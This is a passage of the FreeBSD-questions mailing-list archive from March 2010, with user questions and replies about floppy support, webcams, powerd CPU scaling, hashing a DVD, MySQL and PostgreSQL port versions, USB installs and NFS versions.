Polytropon To: Walt Pawley Message-Id: <20100308105915.6b9dffd3.freebsd@edvax.de> In-Reply-To: References: <799211.14657.qm@web65514.mail.ac4.yahoo.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: freebsd install from floppy X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 09:59:19 -0000 On Sun, 7 Mar 2010 13:58:07 -0800, Walt Pawley wrote: > At 1:28 PM -0500 3/6/10, Chuck Swiger wrote: > > >While I think floppy drives are still useful for BIOS updates and the > >like, it's not just Apple that isn't selling machines with floppy > >drives any more. Go to HP or Dell and try to buy a new machine with a > >floppy drive-- they don't sell them anymore, either... > > I certainly can't argue that modern machines typically have > floppy drives ... even if the motherboard supports one. > > So what? I think he wanted to point out that even if motherboards today still support floppy disk drives, the computer itself often does omit one. Instead, a blank cover is used for the intended slot, or a SD + CF + who knows what reader comes built-in. This, of course, doesn't stop you from building one (or two) into your box. But manufacturers seem to have agreed that - especially in the home consumer market, which is their most important playing field - floppies aren't used anymore. But soon, the ability to connect a floppy will disappear. First, the connectors will vanish, followed by the functionality within the hardware (e. g. BIOS) to access them. You find such a situation in notebooks. They don't have floppy drives for many years now, and the only way to access floppies with them is to buy (!) an external drive, usually USB based. (I had such a situation with a customer who needs floppy support, but had to buy a new notebook. Imagine his surprise! While home customers already have accepted that there are no floppies anymore, corporate customers that work in a specific field still rely on their presence.) > Not everyone in the world throws their three year old > computer in the trash so they can stay "up to date." Average home consumers do. In fields where it is important to have access to data and programs for much longer time, you often don't find PCs, e. g. in the (still alive) mainframe area, notably IBM's. > I, for one, > find it very annoying that new versions of software which once > worked just fine on equipment I still use every day no longer > work in their current incarnations. That's a feeling I had, too, when upgrading my home system from a perfectly working (until the total crash) 5.4 to 7.0, from XFree86 to X.org. Lots of things had to be done, and the observation that if you update things on FreeBSD, they get better and faster, doesn't seem to be confirmed this time (except for the OS) - speed down, usability down, overhead up. But that, what we mostly call "bloat", be it in hardware or in software, seems to be a needed motor for development, at least I have been told that. :-) It's a bit scary that the 300 MHz P2 (FreeBSD 5 and apps) works much faster than my 2000 MHz P4 (FreeBSD 7 and apps). > Delving into several such > cases, I've found comments to the effect that functions are > removed because no one uses the old stuff (ie. three years > old) any more. THere are still situations where you depend on three (or thirteen) years old stuff, especially in data analytics and forensics. The common situation, especially with home users, is to constantly migrate data from one format to another (again, this may mean file format as well as storage media), to keep them accessible. By the way, I have floppies older than twenty (20!) years that work perfectly - that's much longer as a "modern" DVD driver works. :-) This leads me to my conclusion again: The older something is, the longer it lasts. Mostly. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 10:12:04 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 74CBF106564A for ; Mon, 8 Mar 2010 10:12:04 +0000 (UTC) (envelope-from guru@unixarea.de) Received: from ms16-1.1blu.de (ms16-1.1blu.de [89.202.0.34]) by mx1.freebsd.org (Postfix) with ESMTP id 05B1C8FC0A for ; Mon, 8 Mar 2010 10:12:03 +0000 (UTC) Received: from [193.31.11.193] (helo=current.Sisis.de) by ms16-1.1blu.de with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.69) (envelope-from ) id 1NoZwN-0005yK-LZ; Mon, 08 Mar 2010 11:11:59 +0100 Received: from current.Sisis.de (current [127.0.0.1]) by current.Sisis.de (8.14.3/8.14.3) with ESMTP id o28ABwXD003126; Mon, 8 Mar 2010 11:11:59 +0100 (CET) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by current.Sisis.de (8.14.3/8.14.3/Submit) id o28ABwiP003125; Mon, 8 Mar 2010 11:11:58 +0100 (CET) (envelope-from guru@unixarea.de) X-Authentication-Warning: current.Sisis.de: guru set sender to guru@unixarea.de using -f Date: Mon, 8 Mar 2010 11:11:58 +0100 From: Matthias Apitz To: "Bas v.d. Wiel" Message-ID: <20100308101158.GA2949@current.Sisis.de> References: <20100305095418.GA3022@current.Sisis.de> <4B912457.5040601@kompasmedia.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <4B912457.5040601@kompasmedia.nl> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 8.0-CURRENT (i386) X-Con-Id: 51246 X-Originating-IP: 193.31.11.193 Cc: freebsd-questions@freebsd.org Subject: Re: video cam with room view for FreeBSD && Skype X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Matthias Apitz List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 10:12:04 -0000 El dķa Friday, March 05, 2010 a las 04:33:43PM +0100, Bas v.d. Wiel escribió: > >I would like to have a bigger model to do the same with a group of > >colleagues on my side, i.e. put the cam 3-4 meter away from the table. > >Does someone knows a good model for doing that, wall or table mounted > >and with a long USB cable, and supported in FreeBSD 8-CURRENT? > > > >Thx > > > > matthias > > > In the past I've had reasonable succes using a standard camcorder over > firewire to do things like this. It's been a few years though. If using > firewire isn't an issue for you, I'd be happy to delve into my pile of > notes and see if I can find you something of a howto. The advantage of a > firewire camera is in the much more standardized protocol between PC and > camera. Hello Bas, Thanks for you kind reply to my quest. I've never used any device via firewire; I see that there are man pages firewire(4) and fwe(4), but I have no clue, how this connection of a cam is physically made; can I connect such cam to my laptop or do I need a special PCI card, for example (i.e. build up some PC for my purpose, which could be an option too)? and: will the result work with Skype? I'd be happy to read your howto about; thanks in advance matthias -- Matthias Apitz t +49-89-61308 351 - f +49-89-61308 399 - m +49-170-4527211 e - w http://www.unixarea.de/ Solidarity with the imperialistic Israel? Not in my name! æSolidaridad con el imperialismo de Israel? ”No en mi nombre! From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 10:47:38 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F13561065678; Mon, 8 Mar 2010 10:47:38 +0000 (UTC) (envelope-from dan.naumov@gmail.com) Received: from mail-yw0-f181.google.com (mail-yw0-f181.google.com [209.85.211.181]) by mx1.freebsd.org (Postfix) with ESMTP id 7DCCB8FC0C; Mon, 8 Mar 2010 10:47:38 +0000 (UTC) Received: by ywh11 with SMTP id 11so1741168ywh.13 for ; Mon, 08 Mar 2010 02:47:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:cc:content-type; bh=MAxk1zMLGVxNWZAu2yd3HrjKKB9uVgDCFUbDHhLMPnU=; b=UelTaE8luNtXkx6RlJaaRQ3NtjE1tIWGwkzKncSJOwj664rs6v/amu1zu62qROM1lI AzeezAAhKqkyI6gpot+FJQaGIboTBwWuZQ+OzKZ9IrIrkNFatHZQ0KmackwDvO/Hk2jC 9QGSCVMtQP5RgZvYIk5NkVlJEO030/4iXd1xQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:cc:content-type; b=VNBvXeBrfwr1CTFv7dybOexcnlTTAG0rtAGkVdoNRarze6GyfBhQ7VgiFJ7jjhr1h3 lEayNC6lA0axQ2uugTocMCFnJCmp4+izr2/xKK57epQbQSp4fgiSR9i85p5ctZqLUu9s eiHq5AThBpaLJ1RrgVuqRV7hkcvw91IZMZc48= MIME-Version: 1.0 Received: by 10.101.131.22 with SMTP id i22mr9252521ann.92.1268045257689; Mon, 08 Mar 2010 02:47:37 -0800 (PST) Date: Mon, 8 Mar 2010 12:47:37 +0200 Message-ID: From: Dan Naumov To: FreeBSD-STABLE Mailing List , freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Cc: Attilio Rao Subject: powerd on 8.0, is it considered safe? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 10:47:39 -0000 Hello Is powerd finally considered stable and safe to use on 8.0? At least on 7.2, it consistently caused panics when used on Atom systems with Hyper-Threading enabled, but I recall that Attilio Rao was looking into it. - Sincerely, Dan Naumov From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 11:25:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 55129106564A for ; Mon, 8 Mar 2010 11:25:57 +0000 (UTC) (envelope-from kuku@kukulies.org) Received: from werkwelt.de (post.werkwelt.de [91.194.85.74]) by mx1.freebsd.org (Postfix) with ESMTP id E9A968FC2D for ; Mon, 8 Mar 2010 11:25:56 +0000 (UTC) Received: from [134.61.4.247] (account kuku@kukulies.org [134.61.4.247] verified) by werkwelt.de (CommuniGate Pro SMTP 5.0.13) with ESMTPSA id 6803648 for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 12:25:37 +0100 Message-ID: <4B94DEA0.5030103@kukulies.org> Date: Mon, 08 Mar 2010 12:25:20 +0100 From: Christoph Kukulies User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Subject: md5 of /dev/acd0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 11:25:57 -0000 I was trying to determine a md5sum from a DVD I had inserted into a FreeBSD 8.0 on my Dell Inspiron 9400 notebook. I thought dd if=/dev/acd0 | md5 would work but I got "Invalid argument". Trying dd if=/dev/acd0 bs=1048k | md5 worked in so far that it didn't yield an error but after the DVD stopped spinning the command hung and I only could bail out using ^C. Any clues? -- Christoph From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 12:01:49 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AF1F2106567C; Mon, 8 Mar 2010 12:01:49 +0000 (UTC) (envelope-from dan.naumov@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 4776C8FC20; Mon, 8 Mar 2010 12:01:49 +0000 (UTC) Received: by gyg8 with SMTP id 8so1392971gyg.13 for ; Mon, 08 Mar 2010 04:01:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=9x+TWoXGA/FSk/Inpa6GbIjtBwvkno4VWd1BMramNx0=; b=bsCpDrMOD7WCX28yqJS2EXEBOInXue7M7Pn8mY15dZT4uFBKr9heHzjiEaBnrv0U+x 36RHGpjrDGKa0YIrk0ylq/K9tOrkz5W9xb1eZTYeotFHy4FkfAGXttOwhInZnqAC7fft /zJcboa58ca7UswEJzik5GImo7AKf7uQQERPM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=c5kJSr9ior0+Apd5+Dkm1w+BZ7njx9mXvs7/39dIUZ5bhVoPC3AVfXyjhpvYdTqTk7 lphhdoH/zhUn1A1ejdYxhx61x2Z1NleAEQ+zQINHwxvMYoy79tWLMJUnCrU9XghNpe8f 7sQspPcAd0xXFfTnU3JEoVnGH/NxQ6lXK+Sg0= MIME-Version: 1.0 Received: by 10.100.233.20 with SMTP id f20mr9191893anh.245.1268049708499; Mon, 08 Mar 2010 04:01:48 -0800 (PST) Date: Mon, 8 Mar 2010 14:01:48 +0200 Message-ID: From: Dan Naumov To: Jeremy Chadwick , FreeBSD-STABLE Mailing List , freebsd-questions@freebsd.org, Attilio Rao Content-Type: text/plain; charset=ISO-8859-1 Cc: Subject: RE: powerd on 8.0, is it considered safe? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 12:01:49 -0000 Okay, now I am baffled. Up until this point, I wasn't using powerd on this new Atom D510 system. I ran sysctl and noticed that dev.cpu.0.freq: is actually 1249 and doesn't change no matter what kind of load the system is under. If I boot to BIOS, under BIOS CPU is shown as 1,66 Ghz. Okayy... I guess this explains why my buildworld and buildkernel took over 5 hours if by default, it gets stuck at 1249 Mhz for no obvious reason. I enabled powerd and now according to dev.cpu.0.freq:, the system is permanently stuck at 1666 Mhz, regardless of whether the system is under load or not. atombsd# uname -a FreeBSD atombsd.localdomain 8.0-RELEASE-p2 FreeBSD 8.0-RELEASE-p2 #0: Tue Jan 5 21:11:58 UTC 2010 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 atombsd# kenv | grep smbios.planar.product smbios.planar.product="X7SPA-H" atombsd# sysctl dev.cpu dev.est dev.cpufreq dev.p4tcc debug.cpufreq kern.timecounter dev.cpu.0.%desc: ACPI CPU dev.cpu.0.%driver: cpu dev.cpu.0.%location: handle=\_PR_.P001 dev.cpu.0.%pnpinfo: _HID=none _UID=0 dev.cpu.0.%parent: acpi0 dev.cpu.0.freq: 1666 dev.cpu.0.freq_levels: 1666/-1 1457/-1 1249/-1 1041/-1 833/-1 624/-1 416/-1 208/-1 dev.cpu.0.cx_supported: C1/0 dev.cpu.0.cx_lowest: C1 dev.cpu.0.cx_usage: 100.00% last 500us dev.cpu.1.%desc: ACPI CPU dev.cpu.1.%driver: cpu dev.cpu.1.%location: handle=\_PR_.P002 dev.cpu.1.%pnpinfo: _HID=none _UID=0 dev.cpu.1.%parent: acpi0 dev.cpu.1.cx_supported: C1/0 dev.cpu.1.cx_lowest: C1 dev.cpu.1.cx_usage: 100.00% last 500us dev.cpu.2.%desc: ACPI CPU dev.cpu.2.%driver: cpu dev.cpu.2.%location: handle=\_PR_.P003 dev.cpu.2.%pnpinfo: _HID=none _UID=0 dev.cpu.2.%parent: acpi0 dev.cpu.2.cx_supported: C1/0 dev.cpu.2.cx_lowest: C1 dev.cpu.2.cx_usage: 100.00% last 500us dev.cpu.3.%desc: ACPI CPU dev.cpu.3.%driver: cpu dev.cpu.3.%location: handle=\_PR_.P004 dev.cpu.3.%pnpinfo: _HID=none _UID=0 dev.cpu.3.%parent: acpi0 dev.cpu.3.cx_supported: C1/0 dev.cpu.3.cx_lowest: C1 dev.cpu.3.cx_usage: 100.00% last 500us sysctl: unknown oid 'dev.est' Right. So how do I investigate why does the CPU get stuck at 1249 Mhz after boot by default when not using powerd and why it gets stuck at 1666 Mhz with powerd enabled and doesn't scale back down when IDLE? Out of curiosity, I stopped powerd but the CPU remained at 1666 Mhz. - Sincerely, Dan Naumov From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 12:23:05 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1416D1065672 for ; Mon, 8 Mar 2010 12:23:05 +0000 (UTC) (envelope-from ndhertbsd@gmail.com) Received: from mail-pz0-f191.google.com (mail-pz0-f191.google.com [209.85.222.191]) by mx1.freebsd.org (Postfix) with ESMTP id E0A828FC14 for ; Mon, 8 Mar 2010 12:23:04 +0000 (UTC) Received: by pzk29 with SMTP id 29so3764280pzk.27 for ; Mon, 08 Mar 2010 04:23:04 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=iQapY5JGFgNNA2EI0E7n35xIczJE1ipoTxpdVxsnydE=; b=XbCWR1z3KTSZosM4S1/eKUhN3II3vSkkGD6eik7or7wmH1uH0vuEa5L6BXZ+Act4Em wxaIWkIj8CBXzpYeNNK0nAKCwTdhO6wj9qo08EeGzcamAAUdkgHDeMpEFCLmqnjKVW8V jBbZDgJ3zx34iGocxwr0ZFEk2xfpHIku0ppkQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=je0pXFgG0IQk5rQ/mHwoEjVa0lLFn6ZZBZIkOopfoRBgOk2A8Mm/SPjf26ulbZVsWu QteY3qVdDsy1ExTAA3/Q29g6rzPcabMGPU8QAJPg+iW3p5YIW+LeaqCkHHXYIuzPEYyA OskyI2vk9kHwXbE1Cv4VNhjZJEqFx6a6nmeFg= MIME-Version: 1.0 Received: by 10.142.121.9 with SMTP id t9mr3158987wfc.144.1268050984394; Mon, 08 Mar 2010 04:23:04 -0800 (PST) Date: Mon, 8 Mar 2010 13:23:04 +0100 Message-ID: From: n dhert To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: mysql,postgresql,client,server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 12:23:05 -0000 MySQL and Postgresql appear in the freebsd with many different versions. Normally ports have only one version (the latest) and you upgrade with portupgrade. Sometimes a mysql-client or postgresql-client is installed as a dependency of another port, (e.g. a Davical install today installed postgresql-client-8.2.15_1 as a dependency whereas postgresql-server already has a 8.3 and 8.4 version in the ports now) Is it save to install the newest server version? or should one install the same version as the client one already has ? Both for mysql and postgresq server, the corresponding client is a dependendy. I e.g. you already have mysql-client-5.0.90 but no mysql server yet, and you install mysql-server-5.5.2., will it install mysql-client-5.5.2 alongside the existing mysql-client-5.0.90 or upgrade it ? From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 11:30:20 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 80A821065673 for ; Mon, 8 Mar 2010 11:30:20 +0000 (UTC) (envelope-from ingok001@westberks.org) Received: from thb-mta-08.emailfiltering.com (thb-mta-08-tx.emailfiltering.com [194.116.199.208]) by mx1.freebsd.org (Postfix) with ESMTP id E1C918FC19 for ; Mon, 8 Mar 2010 11:30:19 +0000 (UTC) Received: from 91.208.219.38 ([91.208.219.38]) by thb-mta-08.emailfiltering.com with emfmta (version 4.3.0.62.1.rd-3.2.3-libc2.3.2) vanilla id 2675635378 for questions@freebsd.org; Mon, 08 Mar 2010 11:12:14 +0000 X-Default-Received-SPF: pass (skip=forwardok (res=PASS)) x-ip-name=127.0.0.1; Received: from westberks.org (unverified [127.0.0.1]) by mail.westberks.org (West Berkshire Grid for Learning Mail System) with ESMTP id 18956-1810335 for ; Mon, 08 Mar 2010 11:12:14 +0000 Received: from 172.20.252.250 by HTTP Sender: ingok001@westberks.org From: ingok001@westberks.org To: questions@freebsd.org X-Mailer: West Berkshire Grid for Learning Webmail Service (v3.1t, 172.20.252.250, ingok001) X-Originating-IP: 172.20.252.250 Date: Mon, 08 Mar 2010 11:12:14 GMT Priority: normal Message-id: <4b94db8e.2be.35c.17386@westberks.org> MIME-Version: 1.0 X-Authenticated-User: ingok001@westberks.org X-Mailman-Approved-At: Mon, 08 Mar 2010 12:30:33 +0000 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: (No subject header) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ingok001@westberks.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 11:30:20 -0000 i have a acer aspire one with no oprating system it has no cd drive would i be possible to download a redy top use version of software so i could boot form a memory stick? (i have no other computer to unlock to iso file) ======================================================================== This email has been sent from the West Berks LEA. If you have cause for complaint regarding the content of this email please contact abuse@westberks.org ======================================================================== From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 12:42:34 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E92EA1065672 for ; Mon, 8 Mar 2010 12:42:34 +0000 (UTC) (envelope-from lars@chaotika.org) Received: from diogenes.chaotika.org (cl-2124.ham-01.de.sixxs.net [IPv6:2001:6f8:900:84b::2]) by mx1.freebsd.org (Postfix) with ESMTP id A9CCD8FC1E for ; Mon, 8 Mar 2010 12:42:34 +0000 (UTC) Received: from [192.168.0.109] (213-146-244-186.skytron.de [213.146.244.186]) by diogenes.chaotika.org (Postfix) with ESMTPSA id E6E0F322738 for ; Mon, 8 Mar 2010 13:42:32 +0100 (CET) Message-ID: <4B94F09E.9090800@chaotika.org> Date: Mon, 08 Mar 2010 13:42:06 +0100 From: Lars Hartmann User-Agent: Thunderbird 2.0.0.23 (X11/20090817) MIME-Version: 1.0 To: questions@freebsd.org References: <4b94db8e.2be.35c.17386@westberks.org> In-Reply-To: <4b94db8e.2be.35c.17386@westberks.org> X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigB15F6E89D8274529F051F0CD" Cc: Subject: Re: (No subject header) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 12:42:35 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigB15F6E89D8274529F051F0CD Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Hi, > i have a acer aspire one with no oprating system it has > no cd drive would i be possible to download a redy top use > version of software so i could boot form a memory stick? > (i have no other computer to unlock to iso file)=20 Google is your friend: http://miwi.bsdcrew.de/2009/06/freebsd-80-install-with-a-usb-stick/ next time, do that yourself. --------------enigB15F6E89D8274529F051F0CD Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuU8KQACgkQgs/d4Xy3FqlimgCeP8cEIL26bFcd4V4GntKUK1IO aMMAnRl/MWp0G1CgNqaQw4Ft3+DTa3ic =MMlj -----END PGP SIGNATURE----- --------------enigB15F6E89D8274529F051F0CD-- From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 12:59:15 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 794FF1065672 for ; Mon, 8 Mar 2010 12:59:15 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 031738FC19 for ; Mon, 8 Mar 2010 12:59:14 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o28Cx986042348 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 8 Mar 2010 12:59:10 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B94F49D.8@infracaninophile.co.uk> Date: Mon, 08 Mar 2010 12:59:09 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: n dhert References: In-Reply-To: X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: mysql,postgresql,client,server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 12:59:15 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 08/03/2010 12:23:04, n dhert wrote: > MySQL and Postgresql appear in the freebsd with many different versions. > Normally ports have only one version (the latest) and you upgrade with > portupgrade. > > Sometimes a mysql-client or postgresql-client is installed as a dependency > of another port, > (e.g. a Davical install today installed postgresql-client-8.2.15_1 as a > dependency whereas > postgresql-server already has a 8.3 and 8.4 version in the ports now) > Is it save to install the newest server version? > or should one install the same version as the client one already has ? Yes, in general you can install whichever versions of the DB client you prefer. The ports generally defaults to a conservatively chosen version - sometimes this can be an older version than what the upstream project itself recommends. Unless you are going to be exploring less frequently used or novel functionality and if you're not concerned with getting the absolute maximum performance, then the newest versions are generally OK. > Both for mysql and postgresq server, the corresponding client is a > dependendy. > I e.g. you already have mysql-client-5.0.90 but no mysql server yet, and you > install > mysql-server-5.5.2., will it install mysql-client-5.5.2 alongside the > existing mysql-client-5.0.90 > or upgrade it ? The -server ports link against shared libraries provided by the -client ports: this means that you have to have matching server and client ports installed on a server. As mysql-client-5.0.90 conflicts with mysql-client-5.5.2 you'll find simply trying to install mysql- server-5.5.2 will fail. Instead, try something like this: # portupgrade -m DISABLE_CONFLICTS=yes -o databases/mysql55-client -f mysql-client-5.0.90 # portupgrade -x mysql-client-5.5.2 -fr mysql-client-5.5.2 # portinstall databases/mysql55-server Note: if you have mysql50-scripts installed, you'll need to insert this as the 2nd step: # portupgrade -m DISABLE_VULNERABILITIES=yes -o databases/mysql55-scripts -f mysql-scripts-5.0.90 Once you've got mysql-5.5.2 installed, any other ports you install which depend on MySQL will automatically link against that version. Well, with the possibility there might be a few ports known not to work with that specific version. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuU9J0ACgkQ8Mjk52CukIw3JACfTJOHLS7KQ6Qk81Pj8JNrph3G EmYAoIeL0iDomMXeVnBeAULRN6SjQmS+ =Rm4i -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:00:24 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 04E891065678 for ; Mon, 8 Mar 2010 13:00:24 +0000 (UTC) (envelope-from hill_climb@hotmail.com) Received: from kaw0-omc1-s4.kaw0.hotmail.com (kaw0-omc1-s4.kaw0.hotmail.com [207.46.66.11]) by mx1.freebsd.org (Postfix) with ESMTP id 86D818FC0A for ; Mon, 8 Mar 2010 13:00:23 +0000 (UTC) Received: from KAW101-W74 ([207.46.66.7]) by kaw0-omc1-s4.kaw0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 8 Mar 2010 04:48:19 -0800 Message-ID: X-Originating-IP: [219.166.43.224] From: Hashimoto Yuya To: Date: Mon, 8 Mar 2010 21:48:19 +0900 Importance: Normal Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-OriginalArrivalTime: 08 Mar 2010 12:48:19.0446 (UTC) FILETIME=[A11AB960:01CABEBD] Subject: NFS version X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:00:24 -0000 Hello, I'm just wondering if only specified version of NFS can be started. (For instance, can I start only NFS version 3 while remaining NFS version 2 stopped?) Is it possible to do it by just adding some parameters in the config file such as rc.conf? Regards, Yuya _________________________________________________________________ 